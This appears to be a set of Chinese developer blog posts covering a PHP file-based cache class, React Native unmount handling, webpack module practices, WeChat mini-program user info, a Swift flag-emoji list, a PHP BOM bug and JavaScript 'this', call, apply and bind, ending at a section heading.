
/**
 * 缓存管理(内存缓存)
 * 单例模式
 *
 * 用法举例:mem_cache::ins()->get('key');
 *
 * $Author: Eric Chen 2020-11-5
 * $Email: [email protected]
 */

if (!defined('IN_ECTOUCH'))
{
    die('Hacking attempt');
}


class mem_cache
{
    private static $_instance = null;

    private $_cache_path;
    private $_lucky_percent; // 缓存命中率 0-100(读缓存的时候,设定一个命中概率,不命中的时候不返回数据,让调用方以为没缓存然后去取数据更新缓存,也就是除了时间还提供了一个随机机制让缓存更新,如果想关闭该机制,则设定为100即可


    private function __construct($percent = 98)
    {
        $this->_lucky_percent = $percent;
        $this->_cache_path = ROOT_PATH . 'data/mem_cache/';

        if (!file_exists($this->_cache_path)) {
            if (!make_dir($this->_cache_path)) {
                return false;
            }
        }
    }

    /*
     * 公有化获取实例方法
     *
     * 用法:mem_cache::ins()->xxx
     */
    public static function ins()
    {
        if (!(self::$_instance instanceof mem_cache)) {
            self::$_instance = new mem_cache();
        }
        return self::$_instance;
    }

    // 设置缓存,默认有效时间为 600s
    public function set($key, $value, $seconds = 600, $percent = -1)
    {
        if (!$key) {
            return;
        }

        // 更新/添加缓存
        $obj_item = new mem_cache_item();
        $obj_item->value = $value;
        $obj_item->time = time();
        $obj_item->maxage = $seconds;
        $obj_item->lucky_percent = ($percent < 0 || $percent > 100) ? $this->_lucky_percent : $percent;

        $cache_file = $this->_cache_path . crc32($key) . '.cache';
        file_put_contents($cache_file, serialize($obj_item)); // 序列化写入
    }

    public function get($key)
    {
        if (!$key) {
            return false;
        }

        // 从文件读取缓存
        $cache_file = $this->_cache_path . crc32($key) . '.cache';
        if (!is_file($cache_file)) {
//            echo 'cache not found. key: ' . $key . '<br>';
            return false;
        }
        $fp = fopen($cache_file, 'r');
        $item = unserialize(fread($fp, filesize($cache_file))); //反序列化,并赋值

        // 缓存异常或者过期,清理它
        if (!$item || !$item->value || (time() - $item->time) > $item->maxage) {
//            echo 'cache exist but not good, to delete it. key: ' .$key .'<br>';
            $this->delete($key);
            return false;
        }

        // 命中率
        if (mt_rand(0, 100) > $item->lucky_percent) {
//            echo 'cache exist, but I do not want to show you. key: ' . $key . '<br>';
            return false;
        }

        return $item->value;
    }

    public function delete($key)
    {
        if (!$key) {
            return;
        }

        // 删除缓存文件
        $cache_file = $this->_cache_path . crc32($key) . '.cache';
        unlink($cache_file);

//        echo 'delete cache. key: ' . $key . '<br>';
    }

    // 清除所有缓存
    public function clear()
    {
        $this->delete_directory($this->_cache_path);
    }

    public function delete_directory($dirname)
    {
        if (is_dir($dirname)) {
            $dir_handle = opendir($dirname);
        }
        if (!$dir_handle) {
            return false;
        }
        while ($file = readdir($dir_handle)) {
            if ($file != "." && $file != "..") {
                if (!is_dir($dirname . "/" . $file)) {
                    unlink($dirname . "/" . $file);
                } else {
                    $this->delete_directory($dirname . '/' . $file);
                }
            }
        }
        closedir($dir_handle);
        rmdir($dirname);
        return true;
    }

}

// 缓存元素类
class mem_cache_item
{
    public $value;
    public $time;
    public $maxage;
    public $lucky_percent;
}

?>

react 开发中,组件生命周期与异步操作之间的一个注意点

react 开发过程中,组件是必不可少的,而在一些实际的业务组件里,通常会包含一些异步操作,比如网络请求等。当组件已经被卸载了之后,异步回调处理中进行的一些比如 setState 等操作会存在内存泄漏的风险。

处理方式

对组件的 componentWillUnmount 事件做处理,当组件被卸载的时候,要不就去停止掉网络请求,要不就对 setState 等敏感操作进行判断。

比如,下面一个小组件的处理,可以参考一下(unmounted 变量是关键):

/**
 * 图片组件:自动获取图片大小
 */

import React, { Component } from 'react';
import { Image, Dimensions } from 'react-native';

const WinWidth = Dimensions.get('window').width;

export default class AutoSizedImage extends Component {
  constructor(props) {
    super(props);

    this.state = {
      finalSize: {
        width: 0,
        height: 0,
      },
    };

    this.unmounted = false; // 组件是否已被卸载
  }

  static defaultProps = {
    maxWidth: WinWidth,
    style: {},
    source: {
      uri: '',
    },
  };

  componentWillUnmount() {
    this.unmounted = true;
  }

  componentDidMount() {
    //avoid repaint if width/height is given
    if (this.props.style.width || this.props.style.height) {
      return;
    }

    // 不限定宽度的话,就取屏幕宽度
    const maxWidth = Math.min(this.props.maxWidth, WinWidth);

    Image.getSize(this.props.source.uri, (w, h) => { // 异步操作回调
      if (this.unmounted) { // 组件已卸载,不做操作
        console.log('[AutoSizedImage] component unmounted, abort.');
        return;
      }
      const finalSize = {
        width: w,
        height: h,
      };
      if (w > maxWidth) {
        finalSize.width = maxWidth;
        const ratio = finalSize.width / w;
        finalSize.height = h * ratio;
      }
      this.setState({
        finalSize,
      });
    });
  }

  render() {
    return (
      <Image
        {...this.props}
        resizeMode={'contain'}
        style={[
          this.props.style,
          this.state.finalSize.width && this.state.finalSize.height
            ? this.state.finalSize
            : null,
        ]}
      />
    );
  }
}

其他更多处理方式网上一大把,大家可以自行谷歌或者百度!!!

前端模块化管理

前端模块化管理

一、模块化**

webpack 的出现把前端模块化推向了一个新的高度,在 webpack 的概念中,任何资源都可以当成模块来处理,再配合上 npm ,双剑合璧,天下无敌了。

之前跟天猪 @atian25 讨论的过程中,请教过他关于前端模块管理的事情,总结了下,核心**是酱紫的:

  • 底层库:职责单一、耦合性低,原子性的汇集到最底层,各司其职,达成互通。
  • 中间模块(组件),业务层面的积累,对底层库的进一步聚合,通常是为了解决某个业务问题而存在。
  • 上层框架,为中间模块的进一步聚合和优化,系统的解决某一类问题,比如 egg 等。

二、模块开发规范

  • 模块基于 webpack 进行开发,配置 output.libraryTarget: 'umd'
  • 模块通过 webpack -p 命令进行编译打包 dist/xxx.bundle.js
  • 模块入口(package.json里的main字段)指定为源码入口,比如 src/main.js
  • 模块若要支持 <script> 标签的引用方式(具体模块具体分析),需要把模块挂载到 window 对象 window.Abc=xxx;, webpack 配置 umd 时,增加 out.library: 'Abc',这里需要注意命名冲突问题,建议先规范好自有的命名规则
  • 前端模块不建议使用ES6,移动端浏览器对ES6的支持不到位,另外Babel对ES6的转换也有问题,比如 Object.assign 等,需要 polyfill 来支持

模块是否应该内部先编译好再抛出?

有些团队可能会倾向于把模块编译好后再提供出去(dist/xxx.bundle.js),但是在 webpack 环境下,这种做法是有问题的。
比如:模块B引用了模块A(A被打包进B),模块C同时引用了B和A,这时候模块A就重复了,模块C会包含了1个B和2个A(不信,自己可以试下)。

模块重复处理

有一些模块代码可以重复,但是有些模块是不允许重复的,比如一些消息响应类的,或者其他有输出内容的,一旦代码重复就会导致出错,所以对于这类模块在编写的时候也可以从代码层面去避免因代码重复而导致的错误。

if (window.Demo === undefined) {
    // 模块不存在,走正常流程
	require('./demo_1.js');

	module.exports = require('./demo.js');
} else {
    // 如果模块已存在,直接抛出现有的模块
	module.exports = window.Demo;
}

传送门:【webpack模块开发demo

微信小程序某些用户名获取不到,为匿名“微信用户”的BUG

最近发现,小程序大部分的新用户的用户名都是 ”微信用户“,一开始觉得很奇怪,还以为被人攻击了,但是上网一查才知道,原来微信更新了 SDK,更新了获取用户信息的方式。
摒弃了 <button open-type="getUserInfo"> 的方式改为 getUserProfile 。详情如下:

image

参考以上链接,要改用 wx.getUserProfile 获取用户信息才行,<button open-type="getUserInfo"> 已经被弃用了,而且没有做到向下兼容(微信这也是神操作)。

country flag emojis 国旗列表(已做排重)

有很多旗子从UI上看是重复了的,但是从字符串值来说它们又不一样,比如 U.S. Outlying Islands=🇺🇲 跟 United States=🇺🇸,看起来一样,但是字符串搜索可以分辨出来他们是不同的,所以在UI要求惟一的情形下,需要做排重。

以下列表已经做了UI排重:

struct Flag: Hashable {
    let id: UUID = UUID()
    var name: String = ""
    var alias: String = ""
    var image: String = ""
}

private static let flagsAll: Array<Flag> = [
    Flag(name: "Ascension Island", image: "🇦🇨"),
    Flag(name: "Andorra", image: "🇦🇩"),
    Flag(name: "United Arab Emirates", image: "🇦🇪"),
    Flag(name: "Afghanistan", image: "🇦🇫"),
    Flag(name: "Antigua & Barbuda", image: "🇦🇬"),
    Flag(name: "Anguilla", image: "🇦🇮"),
    Flag(name: "Albania", image: "🇦🇱"),
    Flag(name: "Armenia", image: "🇦🇲"),
    Flag(name: "Angola", image: "🇦🇴"),
    Flag(name: "Antarctica", image: "🇦🇶"),
    Flag(name: "Argentina", image: "🇦🇷"),
    Flag(name: "American Samoa", image: "🇦🇸"),
    Flag(name: "Austria", image: "🇦🇹"),
    Flag(name: "Australia", image: "🇦🇺"),
    Flag(name: "Aruba", image: "🇦🇼"),
    Flag(name: "Åland Islands", image: "🇦🇽"),
    Flag(name: "Azerbaijan", image: "🇦🇿"),
    Flag(name: "Bosnia & Herzegovina", image: "🇧🇦"),
    Flag(name: "Barbados", image: "🇧🇧"),
    Flag(name: "Bangladesh", image: "🇧🇩"),
    Flag(name: "Belgium", image: "🇧🇪"),
    Flag(name: "Burkina Faso", image: "🇧🇫"),
    Flag(name: "Bulgaria", image: "🇧🇬"),
    Flag(name: "Bahrain", image: "🇧🇭"),
    Flag(name: "Burundi", image: "🇧🇮"),
    Flag(name: "Benin", image: "🇧🇯"),
    Flag(name: "St. Barthélemy", image: "🇧🇱"),
    Flag(name: "Bermuda", image: "🇧🇲"),
    Flag(name: "Brunei", image: "🇧🇳"),
    Flag(name: "Bolivia", image: "🇧🇴"),
    Flag(name: "Caribbean Netherlands", image: "🇧🇶"),
    Flag(name: "Brazil", image: "🇧🇷"),
    Flag(name: "Bahamas", image: "🇧🇸"),
    Flag(name: "Bhutan", image: "🇧🇹"),
//        Flag(name: "Bouvet Island", image: "🇧🇻"), // the same flag as Norway
    Flag(name: "Botswana", image: "🇧🇼"),
    Flag(name: "Belarus", image: "🇧🇾"),
    Flag(name: "Belize", image: "🇧🇿"),
    Flag(name: "Canada", image: "🇨🇦"),
    Flag(name: "Cocos (Keeling) Islands", image: "🇨🇨"),
    Flag(name: "Congo - Kinshasa", image: "🇨🇩"),
    Flag(name: "Central African Republic", image: "🇨🇫"),
    Flag(name: "Congo - Brazzaville", image: "🇨🇬"),
    Flag(name: "Switzerland", image: "🇨🇭"),
    Flag(name: "Côte d’Ivoire", image: "🇨🇮"),
    Flag(name: "Cook Islands", image: "🇨🇰"),
    Flag(name: "Chile", image: "🇨🇱"),
    Flag(name: "Cameroon", image: "🇨🇲"),
    Flag(name: "China", image: "🇨🇳"),
    Flag(name: "Colombia", image: "🇨🇴"),
//        Flag(name: "Clipperton Island", image: "🇨🇵"), // the same flag as France
    Flag(name: "Costa Rica", image: "🇨🇷"),
    Flag(name: "Cuba", image: "🇨🇺"),
    Flag(name: "Cape Verde", image: "🇨🇻"),
    Flag(name: "Curaçao", image: "🇨🇼"),
    Flag(name: "Christmas Island", image: "🇨🇽"),
    Flag(name: "Cyprus", image: "🇨🇾"),
    Flag(name: "Czechia", image: "🇨🇿"),
    Flag(name: "Germany", image: "🇩🇪"),
    Flag(name: "Diego Garcia", image: "🇩🇬"),
    Flag(name: "Djibouti", image: "🇩🇯"),
    Flag(name: "Denmark", image: "🇩🇰"),
    Flag(name: "Dominica", image: "🇩🇲"),
    Flag(name: "Dominican Republic", image: "🇩🇴"),
    Flag(name: "Algeria", image: "🇩🇿"),
//        Flag(name: "Ceuta & Melilla", image: "🇪🇦"), // the same flag as Spain
    Flag(name: "Ecuador", image: "🇪🇨"),
    Flag(name: "Estonia", image: "🇪🇪"),
    Flag(name: "Egypt", image: "🇪🇬"),
    Flag(name: "Western Sahara", image: "🇪🇭"),
    Flag(name: "Eritrea", image: "🇪🇷"),
    Flag(name: "Spain", image: "🇪🇸"),
    Flag(name: "Ethiopia", image: "🇪🇹"),
    Flag(name: "European Union", image: "🇪🇺"),
    Flag(name: "Finland", image: "🇫🇮"),
    Flag(name: "Fiji", image: "🇫🇯"),
    Flag(name: "Falkland Islands", image: "🇫🇰"),
    Flag(name: "Micronesia", image: "🇫🇲"),
    Flag(name: "Faroe Islands", image: "🇫🇴"),
    Flag(name: "France", image: "🇫🇷"),
    Flag(name: "Gabon", image: "🇬🇦"),
    Flag(name: "United Kingdom", image: "🇬🇧"),
    Flag(name: "Grenada", image: "🇬🇩"),
    Flag(name: "Georgia", image: "🇬🇪"),
    Flag(name: "French Guiana", image: "🇬🇫"),
    Flag(name: "Guernsey", image: "🇬🇬"),
    Flag(name: "Ghana", image: "🇬🇭"),
    Flag(name: "Gibraltar", image: "🇬🇮"),
    Flag(name: "Greenland", image: "🇬🇱"),
    Flag(name: "Gambia", image: "🇬🇲"),
    Flag(name: "Guinea", image: "🇬🇳"),
    Flag(name: "Guadeloupe", image: "🇬🇵"),
    Flag(name: "Equatorial Guinea", image: "🇬🇶"),
    Flag(name: "Greece", image: "🇬🇷"),
    Flag(name: "South Georgia & South Sandwich Islands", image: "🇬🇸"),
    Flag(name: "Guatemala", image: "🇬🇹"),
    Flag(name: "Guam", image: "🇬🇺"),
    Flag(name: "Guinea-Bissau", image: "🇬🇼"),
    Flag(name: "Guyana", image: "🇬🇾"),
    Flag(name: "Hong Kong SAR China", image: "🇭🇰"),
//        Flag(name: "Heard & McDonald Islands", image: "🇭🇲"), // the same flag as Australia
    Flag(name: "Honduras", image: "🇭🇳"),
    Flag(name: "Croatia", image: "🇭🇷"),
    Flag(name: "Haiti", image: "🇭🇹"),
    Flag(name: "Hungary", image: "🇭🇺"),
    Flag(name: "Canary Islands", image: "🇮🇨"),
    Flag(name: "Indonesia", image: "🇮🇩"),
    Flag(name: "Ireland", image: "🇮🇪"),
    Flag(name: "Israel", image: "🇮🇱"),
    Flag(name: "Isle of Man", image: "🇮🇲"),
    Flag(name: "India", image: "🇮🇳"),
//        Flag(name: "British Indian Ocean Territory", image: "🇮🇴"), // the same as Diego Garcia
    Flag(name: "Iraq", image: "🇮🇶"),
    Flag(name: "Iran", image: "🇮🇷"),
    Flag(name: "Iceland", image: "🇮🇸"),
    Flag(name: "Italy", image: "🇮🇹"),
    Flag(name: "Jersey", image: "🇯🇪"),
    Flag(name: "Jamaica", image: "🇯🇲"),
    Flag(name: "Jordan", image: "🇯🇴"),
    Flag(name: "Japan", image: "🇯🇵"),
    Flag(name: "Kenya", image: "🇰🇪"),
    Flag(name: "Kyrgyzstan", image: "🇰🇬"),
    Flag(name: "Cambodia", image: "🇰🇭"),
    Flag(name: "Kiribati", image: "🇰🇮"),
    Flag(name: "Comoros", image: "🇰🇲"),
    Flag(name: "St. Kitts & Nevis", image: "🇰🇳"),
    Flag(name: "North Korea", image: "🇰🇵"),
    Flag(name: "South Korea", image: "🇰🇷"),
    Flag(name: "Kuwait", image: "🇰🇼"),
    Flag(name: "Cayman Islands", image: "🇰🇾"),
    Flag(name: "Kazakhstan", image: "🇰🇿"),
    Flag(name: "Laos", image: "🇱🇦"),
    Flag(name: "Lebanon", image: "🇱🇧"),
    Flag(name: "St. Lucia", image: "🇱🇨"),
    Flag(name: "Liechtenstein", image: "🇱🇮"),
    Flag(name: "Sri Lanka", image: "🇱🇰"),
    Flag(name: "Liberia", image: "🇱🇷"),
    Flag(name: "Lesotho", image: "🇱🇸"),
    Flag(name: "Lithuania", image: "🇱🇹"),
    Flag(name: "Luxembourg", image: "🇱🇺"),
    Flag(name: "Latvia", image: "🇱🇻"),
    Flag(name: "Libya", image: "🇱🇾"),
    Flag(name: "Morocco", image: "🇲🇦"),
    Flag(name: "Monaco", image: "🇲🇨"),
    Flag(name: "Moldova", image: "🇲🇩"),
    Flag(name: "Montenegro", image: "🇲🇪"),
//        Flag(name: "St. Martin", image: "🇲🇫"), // 跟法国一样
    Flag(name: "Madagascar", image: "🇲🇬"),
    Flag(name: "Marshall Islands", image: "🇲🇭"),
    Flag(name: "North Macedonia", image: "🇲🇰"),
    Flag(name: "Mali", image: "🇲🇱"),
    Flag(name: "Myanmar (Burma)", image: "🇲🇲"),
    Flag(name: "Mongolia", image: "🇲🇳"),
    Flag(name: "Macao Sar China", image: "🇲🇴"),
    Flag(name: "Northern Mariana Islands", image: "🇲🇵"),
    Flag(name: "Martinique", image: "🇲🇶"),
    Flag(name: "Mauritania", image: "🇲🇷"),
    Flag(name: "Montserrat", image: "🇲🇸"),
    Flag(name: "Malta", image: "🇲🇹"),
    Flag(name: "Mauritius", image: "🇲🇺"),
    Flag(name: "Maldives", image: "🇲🇻"),
    Flag(name: "Malawi", image: "🇲🇼"),
    Flag(name: "Mexico", image: "🇲🇽"),
    Flag(name: "Malaysia", image: "🇲🇾"),
    Flag(name: "Mozambique", image: "🇲🇿"),
    Flag(name: "Namibia", image: "🇳🇦"),
    Flag(name: "New Caledonia", image: "🇳🇨"),
    Flag(name: "Niger", image: "🇳🇪"),
    Flag(name: "Norfolk Island", image: "🇳🇫"),
    Flag(name: "Nigeria", image: "🇳🇬"),
    Flag(name: "Nicaragua", image: "🇳🇮"),
    Flag(name: "Netherlands", image: "🇳🇱"),
    Flag(name: "Norway", image: "🇳🇴"),
    Flag(name: "Nepal", image: "🇳🇵"),
    Flag(name: "Nauru", image: "🇳🇷"),
    Flag(name: "Niue", image: "🇳🇺"),
    Flag(name: "New Zealand", image: "🇳🇿"),
    Flag(name: "Oman", image: "🇴🇲"),
    Flag(name: "Panama", image: "🇵🇦"),
    Flag(name: "Peru", image: "🇵🇪"),
    Flag(name: "French Polynesia", image: "🇵🇫"),
    Flag(name: "Papua New Guinea", image: "🇵🇬"),
    Flag(name: "Philippines", image: "🇵🇭"),
    Flag(name: "Pakistan", image: "🇵🇰"),
    Flag(name: "Poland", image: "🇵🇱"),
    Flag(name: "St. Pierre & Miquelon", image: "🇵🇲"),
    Flag(name: "Pitcairn Islands", image: "🇵🇳"),
    Flag(name: "Puerto Rico", image: "🇵🇷"),
    Flag(name: "Palestinian Territories", image: "🇵🇸"),
    Flag(name: "Portugal", image: "🇵🇹"),
    Flag(name: "Palau", image: "🇵🇼"),
    Flag(name: "Paraguay", image: "🇵🇾"),
    Flag(name: "Qatar", image: "🇶🇦"),
    Flag(name: "Réunion", image: "🇷🇪"),
    Flag(name: "Romania", image: "🇷🇴"),
    Flag(name: "Serbia", image: "🇷🇸"),
    Flag(name: "Russia", image: "🇷🇺"),
    Flag(name: "Rwanda", image: "🇷🇼"),
    Flag(name: "Saudi Arabia", image: "🇸🇦"),
    Flag(name: "Solomon Islands", image: "🇸🇧"),
    Flag(name: "Seychelles", image: "🇸🇨"),
    Flag(name: "Sudan", image: "🇸🇩"),
    Flag(name: "Sweden", image: "🇸🇪"),
    Flag(name: "Singapore", image: "🇸🇬"),
    Flag(name: "St. Helena", image: "🇸🇭"),
    Flag(name: "Slovenia", image: "🇸🇮"),
//        Flag(name: "Svalbard & Jan Mayen", image: "🇸🇯"), // the same flag as Norway
    Flag(name: "Slovakia", image: "🇸🇰"),
    Flag(name: "Sierra Leone", image: "🇸🇱"),
    Flag(name: "San Marino", image: "🇸🇲"),
    Flag(name: "Senegal", image: "🇸🇳"),
    Flag(name: "Somalia", image: "🇸🇴"),
    Flag(name: "Suriname", image: "🇸🇷"),
    Flag(name: "South Sudan", image: "🇸🇸"),
    Flag(name: "São Tomé & Príncipe", image: "🇸🇹"),
    Flag(name: "El Salvador", image: "🇸🇻"),
    Flag(name: "Sint Maarten", image: "🇸🇽"),
    Flag(name: "Syria", image: "🇸🇾"),
    Flag(name: "Eswatini", image: "🇸🇿"),
    Flag(name: "Tristan Da Cunha", image: "🇹🇦"),
    Flag(name: "Turks & Caicos Islands", image: "🇹🇨"),
    Flag(name: "Chad", image: "🇹🇩"),
    Flag(name: "French Southern Territories", image: "🇹🇫"),
    Flag(name: "Togo", image: "🇹🇬"),
    Flag(name: "Thailand", image: "🇹🇭"),
    Flag(name: "Tajikistan", image: "🇹🇯"),
    Flag(name: "Tokelau", image: "🇹🇰"),
    Flag(name: "Timor-Leste", image: "🇹🇱"),
    Flag(name: "Turkmenistan", image: "🇹🇲"),
    Flag(name: "Tunisia", image: "🇹🇳"),
    Flag(name: "Tonga", image: "🇹🇴"),
    Flag(name: "Turkey", image: "🇹🇷"),
    Flag(name: "Trinidad & Tobago", image: "🇹🇹"),
    Flag(name: "Tuvalu", image: "🇹🇻"),
//        Flag(name: "Taiwan", image: "🇹🇼"),
    Flag(name: "Tanzania", image: "🇹🇿"),
    Flag(name: "Ukraine", image: "🇺🇦"),
    Flag(name: "Uganda", image: "🇺🇬"),
//        Flag(name: "U.S. Outlying Islands", image: "🇺🇲"), // the same flag as the United States
    Flag(name: "United Nations", image: "🇺🇳"),
    Flag(name: "United States", image: "🇺🇸"),
    Flag(name: "Uruguay", image: "🇺🇾"),
    Flag(name: "Uzbekistan", image: "🇺🇿"),
    Flag(name: "Vatican City", image: "🇻🇦"),
    Flag(name: "St. Vincent & Grenadines", image: "🇻🇨"),
    Flag(name: "Venezuela", image: "🇻🇪"),
    Flag(name: "British Virgin Islands", image: "🇻🇬"),
    Flag(name: "U.S. Virgin Islands", image: "🇻🇮"),
    Flag(name: "Vietnam", image: "🇻🇳"),
    Flag(name: "Vanuatu", image: "🇻🇺"),
    Flag(name: "Wallis & Futuna", image: "🇼🇫"),
    Flag(name: "Samoa", image: "🇼🇸"),
    Flag(name: "Kosovo", image: "🇽🇰"),
    Flag(name: "Yemen", image: "🇾🇪"),
    Flag(name: "Mayotte", image: "🇾🇹"),
    Flag(name: "South Africa", image: "🇿🇦"),
    Flag(name: "Zambia", image: "🇿🇲"),
    Flag(name: "Zimbabwe", image: "🇿🇼"),
    Flag(name: "England", image: "󠁿🏴󠁧󠁢󠁥󠁮󠁧󠁿"),
    Flag(name: "Scotland", image: "󠁿🏴󠁧󠁢󠁳󠁣󠁴󠁿"),
    Flag(name: "Wales", image: "󠁿🏴󠁧󠁢󠁷󠁬󠁳󠁿"),
]

记一次php的bug:返回的图片总是显示不出来,怎么回事,原因竟然是 BOM

记一次php上的一个bug,明明服务器上的图片都是没问题的,但是通过 imagepng 返回后,就是显示不出来。

检查了好多遍,代码逻辑肯定是没问题的了,因为在最后返回之前,debug 到图片都是没问题的,就是最后返回到前端的时候,总是显示错误。

查了好久,最后把返回的图片通过 base_64 来看看图片内容,竟然发现里面多了个 77u/ 字符串,如下:

data:image/png;base64,77u/iVBORw0KGgoAAAANSUhEUgAAAMYAAADGBAMAAAB7teJuAAAAJqE...........

要知道,base64_decode('77u/') 就是 utf-8 文件的 BOM头 efbbbf,这回知道是怎么回事了,查找下代码,看看是哪个文件然后去掉即可。

本项目查到是一个语言包 zh_cn/common.php 的问题,应该是之前这个语言包发给翻译的同事翻译的时候,用 windows 机器打开编辑过的原因。

用 phpstorm 的同学,可以这样去掉:https://blog.csdn.net/coco1118/article/details/86552410

BOM 科普(网上资料)

BOM: Byte Order Mark

UTF-8 BOM又叫UTF-8 签名,其实UTF-8 的BOM对UFT-8没有作用,是为了支援UTF-16,UTF-32才加上的BOM,BOM签名的意思就是告诉编辑器当前文件采用何种编码,方便编辑器识别,但是BOM虽然在编辑器中不显示,但是会产生输出,就像多了一个空行,

如果您在修改任何PHP文件後发生:

  • 不能登入或者不能登出; * 页顶出现一条空白; * 页顶出现错误警告; * 其它不正常的情况。

则多半是编辑器的问题。

现在几乎所有的文本编辑软件都可以显示并编辑UTF-8编码的文件。但是很遗憾,其中很多软件的表现并不理想。

类似WINDOWS自带的记事本等软件,在保存一个以UTF-8编码的文件时,会在文件开始的地方插入三个不可见的字符(0xEF 0xBB 0xBF,即BOM)。它是一串隐藏的字符,用于让记事本等编辑器识别这个文件是否以UTF-8编码。对于一般的文件,这样并不会产生什么麻烦。

但对于 PHP来说,BOM是个大麻烦。

PHP并不会忽略BOM,所以在读取、包含或者引用这些文件时,会把BOM作为该文件开头正文的一部分。根据嵌入式语言的特点,这串字符将被直接执行(显示)出来。由此造成即使页面的 top padding 设置为0,也无法让整个网页紧贴浏览器顶部,因为在html一开头有这3个字符呢!

最大的麻烦还不是这个。受COOKIE送出机制的限制,在这些文件开头已经有BOM的文件中,COOKIE无法送出(因为在COOKIE送出前PHP已经送出了文件头),所以登入和登出功能失效。一切依赖COOKIE、SESSION实现的功能全部无效。

因此,在编辑、更改任何文本文件时,请务必使用不会乱加BOM的编辑器。Linux下的编辑器应该都没有这个问题。WINDOWS下,请勿使用记事本等编辑器。推荐的编辑器是: Editplus 2.12版本以上; EmEditor; UltraEdit(需要取消‘添加BOM’的相关选项); Dreamweaver(需要取消‘添加BOM’的相关选项) 等。

对于已经添加了BOM的文件,要取消的话,可以用以上编辑器另存一次。

Javascript里的this,call,apply,bind和arguments

在 Javascript 的学习中,this 的重要性不言而喻,而且容易被人误解,之前遇到过一位同学,在函数体内大量使用 this.xxx = xxx 的方式来定义变量,错误的以为 this 指代的是函数体内的命名空间,最后全部的变量都挂在 window 下而导致变量冲突。

这里就通过简单的方式来重点说明一下 this 的用法,当然,与之相关的两个也容易被忽略的方法 callapply 也一同介绍一下。

this

要说 this,必须先从「函数」说起,在 《Javascript 权威指南》里的「函数」那一节,有给 this 做了一翻解释,简单来说,可以这么理解:「this 关键字,是函数调用的上下文」

怎么去理解它呢,"一般" 来说,是酱紫的:

  • 普通函数调用时,它的上下文就是 window
  • 函数挂载在对象上,作为方法去调用时,它的上下文就是对象本身
  • 构造函数调用(以 new 方式调用),this 指向返回的这个对象
  • callapply 间接调用,可指定 this 的指向

1. 普通函数调用

  • 非严格模式下:this 值为全局对象,即 window
  • 严格模式下:this 值为 undefined
var name = 'Job';

function getName() {
  console.log(this === window);  // true
  console.log(this.name);  // Job
  return this.name;
};

getName(); // 普通函数调用

另外,补充一下「函数嵌套」的用法。
在嵌套函数里,如果想在内层函数访问最外层函数的上下文,通常的我们可以先把 this 的值保存在一个变量里(注意,this 是关键字,不能被赋值),比如:

var o = {
  m: function() {
    var self = this; // 将 this 值保存在一个变量中

    console.log(this === o); // true,方法调用,this 指向该对象
    f();

    function f() {
      console.log(this === o); // false,这里是普通调用,指向 window 或者是 undefined
      console.log(self === o); // true
    }
  }
}

o.m();

2. 方法调用

当函数作为对象的方法被调用时,this 总是指向该对象。

var o = {
  m: function() {
    console.log(this === o); // true
  }
}

o.m();

3. 构造函数调用(new

作为构造函数调用时,this 指向返回的这个对象。

var o = function(name) {
  this.name = name;
};
var object = new o('Eric');
console.log(object.name); // Eric

但是,有时候构造函数要是显式的返回一个对象时,this 指向的即是显式返回的那个对象。
其实,可以理解为,「this 指向的是返回的那个对象」,因为,构造函数总是会返回一个对象的,如果没有显示指定,则为隐式返回,如上面的例子。

var o = function(name) {
  this.name = name;

  return {
    name: 'Chen'
  }
};
var object = new o('Eric');
console.log(object.name); // Chen

4. 间接调用(call / apply

通过 call() 和 apply() 方法,可以显式的指定 this 的指向。

var obj1 = {
  name: '111',
  getName: function() {
    return this.name;
  }
};

var obj2 = {
  name: '222'
};

console.log(obj1.getName());  // 111
console.log(obj1.getName.call(obj2)); // 222
console.log(obj1.getName.apply(obj2)); // 222

call()apply()

Javascript 中的函数也是对象,和其他 Javascript 对象没什么两样,函数对象也可以包含方法。
其中的两个方法 call() 和 apply() 就是每个函数都自带的,在 Function 原型上定义的两个方法,可以用来间接地调用函数,并且可以显式的指定 this 的指向。

call() 和 apply() 两者作用完全一样,差异就在于传参方式,两者第一个参数都是一样,代表所调用函数内 this 的指向,差异从第二个参数开始。

foo.call(obj, arg1, arg2) == foo.apply(obj, arguments)

  • call 传入参数数量不固定,第二个参数开始,依次为所调用函数所需的参数
  • apply 接收最多两个参数,第二个参数是一个「数组」,作为参数传给被调用的函数

上几个栗子:

window.name = "张三";

var student = {
  name: '李四'
};

function getMessage(sex, age){
    console.log(this.name + " 性别: " + sex + " age: " + age);
}

// 普通调用
getMessage('男', 18); // 张三 性别:男 age: 18

// call 调用,后面参数列举
getMessage.call(window, '男', 18); // 张三 性别:男 age: 18
getMessage.call(student, '女', 22); // 李四 性别:女 age: 22

// apply 调用,参数用「数组」传递
getMessage.apply(window, ['男', 18]); // 张三 性别:男 age: 18
getMessage.apply(student, ['女', 22]); // 李四 性别:女 age: 22

另外需要注意的是,第一个参数传的是 null 值的时候

  • ES5 的严格模式下,this 会指向 null
  • ES3 和非严格模式下,this 会指向被调用函数的包装对象(wrapper object),如 window

例:非严格模式,this 会被包装对象代替。

window.name = "张三";

var student = {
  name: '李四'
};

function getMessage(sex, age){
    console.log(this.name + " 性别: " + sex + " age: " + age);
}

getMessage.call(null, '男', 18); // 张三 性别:男 age: 18
getMessage.apply(null, ['男', 18]); // 张三 性别:男 age: 18

例:严格模式,this 会指向 null

'use strict';

window.name = "张三";

var student = {
  name: '李四'
};

function getMessage(sex, age){
    console.log(this.name + " 性别: " + sex + " age: " + age);
}

getMessage.call(null, '男', 18); // 张三 性别:男 age: 18
getMessage.apply(null, ['男', 18]); // 张三 性别:男 age: 18

这里程序会报异常,因为 this 根据传进去的 null 而设置了 null,因此 this.name 会抛异常。

bind 方法

bind 方法是在 ES5 中新增的,是将函数绑定到某个对象,它返回的是一个新的绑定到新对象的函数,给新函数传入特定的上下文和一组指定的参数,然后调用原函数。

function f(y) {
  return this.x + y;
}
var o = { x: 1 };
var g = f.bind(o); // g是一个新的函数,而且是绑定在对象o上的,可以通过 g() 来调用 o.f()

g(2); // 3

bind 方法的常见用法

var sum = function(x, y) {
  return x + y;
}

// 创建一个新函数,this绑向了null,并且将第一个参数绑定到1,这个新函数就只需要传入一个实参了
var succ = sum.bind(null, 1);
succ(2); // 3

function f(y, z) {
  return this.x + y + z;
}
// 将this绑向{x:1},第一个参数y绑定到2,现在新函数g只需要传入1个参数z
var g = f.bind({x: 1}, 2);
g(3); // 6

arguments

Javascript 把传入到函数里的全部参数都存储在一个叫做 arguments 的类数组里面,但是因为是类数组,它比一般的数组少了一些内置的方法,比如 push 等。

所以,就不能这样去调用:

arguments.push(1);

要酱紫:

Array.prototype.push.call(arguments, 1);

利用 arguments 实现方法的重载

